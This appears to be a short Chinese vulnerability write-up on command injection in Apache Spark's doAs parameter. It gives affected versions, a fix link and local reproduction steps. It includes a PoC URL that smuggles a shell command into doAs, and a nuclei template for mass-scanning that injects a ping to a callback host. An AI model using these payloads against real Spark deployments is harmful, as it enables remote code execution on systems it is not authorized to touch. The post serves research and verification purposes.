影响版本:
3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
Fix:
https://github.com/apache/spark/pull/36315/files
直接拼接 bash -c执行导致漏洞的产生。
复现
下载:https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1.tgz
cd assembly
mvn package -DskipTests
cd ../bin
./spark-shell --conf spark.acls.enable=true
poc:http://172.16.2.1:4040/?doAs=open%20-a%20Calculator
nuclei批量验证脚本:
id: apache-spark-shell-rce
info:
name: apache-spark-shell-rce
author: tangxiaofeng7
severity: high
reference:
- https://github.com/tangxiaofeng7
tags: rce
requests:
- method: GET
path:
- '{{BaseURL}}/?doAs=`ping%20{{interactsh-url}}`'
matchers:
- type: word
part: interactsh_protocol
name: http
words:
- "http"
- "dns"
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论